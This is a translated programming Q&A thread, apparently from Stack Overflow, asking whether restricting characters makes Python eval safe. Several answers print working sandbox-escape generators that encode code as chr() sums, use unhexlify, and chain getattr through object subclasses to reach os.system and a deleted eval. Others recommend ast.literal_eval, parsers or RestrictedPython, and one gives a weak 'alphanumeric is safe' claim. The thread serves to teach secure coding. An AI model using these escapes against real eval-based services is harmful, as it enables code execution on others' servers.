关于在不安全的字符串上使用Python的eval有很多问题(例如:Security of Python's eval() on untrusted strings?,Python: make eval safe)。一致的答案是,这是一个坏主意。
但是,我发现很少有关于哪些字符串可以被认为是安全的信息(如果有的话)。 现在我想知道是否有“安全字符串”的定义可用(例如:一个字符串只包含小写字母ascii字符或任何符号+ - * /())。我发现的漏洞通常依赖于_。,:[]'“等。这种方法是否安全(用于图形绘制Web应用程序)?
否则,我猜使用解析包,因为Alex Martelli建议是唯一的方法。
编辑: 不幸的是,没有任何答案能够给出令人信服的解释,说明为什么/如何将上述字符串视为不安全(一种微小的工作利用),也没有相反的解释。我知道应该避免使用eval,但这不是问题。因此,我会向第一个提出工作利用或非常好的解释的人颁发奖金,以解释为什么上面描述的字符串被认为是安全的。
答案 0 :(得分:13)
在这里你有一个有效的“漏洞利用” - 只包含小写的ascii字符或任何符号+ - * /()。 它依赖于第二个评估层。
def mask_code( python_code ):
s="+".join(["chr("+str(ord(i))+")" for i in python_code])
return "eval("+s+")"
bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)
输出:
eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user
这是非常简单的“漏洞利用”。我确信有无数其他人,即使有进一步的性格限制。 需要重复的是,应该始终使用解析器或ast.literal_eval()。只有通过解析标记才能确保字符串可以安全地进行评估。其他任何东西都打赌房子。
答案 1 :(得分:9)
不,没有,或者至少没有明智,真正安全的方式。 Python是一种高度动态的语言,其另一面是,它很容易破坏任何锁定语言的企图。
您需要为您想要的子集编写自己的解析器,或者在遇到特定情况时使用现有的解析器,例如ast.literal_eval()
。使用专为手头工作而设计的工具,而不是试图迫使现有工具完成你想要的工作。
编辑:
两个字符串的示例,在符合您的描述时,如果按顺序eval()
,则会执行任意代码(此特定示例运行evil.__method__()
。
"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"
答案 2 :(得分:4)
类似于goncalopp的漏洞,但也满足字符串'eval'
不是漏洞利用的子串的限制:
def to_chrs(text):
return '+'.join('chr(%d)' % ord(c) for c in text)
def _make_getattr_call(obj, attr):
return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)
def make_exploit(code):
get = to_chrs('get')
builtins = to_chrs('__builtins__')
eval = to_chrs('eval')
code = to_chrs(code)
return (_make_getattr_call(
_make_getattr_call('globals()', '{get}') + '({builtins})',
'{eval}') + '({code})').format(**locals())
它使用genexp和tuple解压缩的组合来使用两个参数调用getattr
而不使用逗号。
示例用法:
>>> exploit = make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
这证明仅限制使代码安全的文本的限制非常困难。即使像'eval' in code
这样的事情也不安全。要么必须删除执行函数调用的可能性,要么必须从eval
的环境中删除所有危险的内置函数。我的漏洞利用程序还表明getattr
与eval
一样糟糕,即使你不能使用逗号,因为它允许你随意走进对象层次结构。例如,即使环境不提供,也可以获得真实的eval
函数:
def real_eval():
get_subclasses = _make_getattr_call(
_make_getattr_call(
_make_getattr_call('()',
to_chrs('__class__')),
to_chrs('__base__')),
to_chrs('__subclasses__')) + '()'
catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
_make_getattr_call('c',
to_chrs('__name__')),
to_chrs('catch_warnings'))
return _make_getattr_call(
_make_getattr_call(
_make_getattr_call(catch_warnings, to_chrs('_module')),
to_chrs('__builtins__')),
to_chrs('get')) + '(%s)' % to_chrs('eval')
>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
即使删除了所有内置函数,代码也会变得安全:
>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
请注意,将'__builtins__'
设置为None
也会删除chr
,list
,tuple
等。
您的角色重新加入和 '__builtins__'
到None
的组合是完全安全的,因为用户无法访问任何内容。他无法使用.
,方括号[]
或任何内置函数或类型。
尽管我必须以这种方式说出你可以评价的内容非常有限。除了对数字进行操作外,你做的不多。
可能只需从内置函数中移除eval
,getattr
和chr
即可使代码安全,至少我无法想到编写代码的方法利用不使用其中之一的。
“解析”方法可能更安全,并提供更大的灵活性。例如this配方非常好,也可以轻松定制以添加更多限制。
答案 3 :(得分:4)
要研究如何安全评估我建议使用RestrictedPython模块(超过10年的生产使用,一个很好的Python软件)
http://pypi.python.org/pypi/RestrictedPython
RestrictedPython采用Python源代码并修改其AST(抽象语法树),以使评估在沙箱中安全,而不会泄漏任何可能允许逃离沙箱的Python内部。
从RestrictedPython源代码中,您将了解为使沙盒安全而需要执行哪些技巧。
答案 4 :(得分:1)
实际上你应该避免使用eval。
但如果你坚持使用它,你可以确保你的字符串是字母数字。这应该是安全的。
答案 5 :(得分:0)
创建输入清理程序是不够的。您还必须确保不会意外省略清理。一种方法是taint checking。
答案 6 :(得分:0)
假设命名函数存在并且安全:
if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)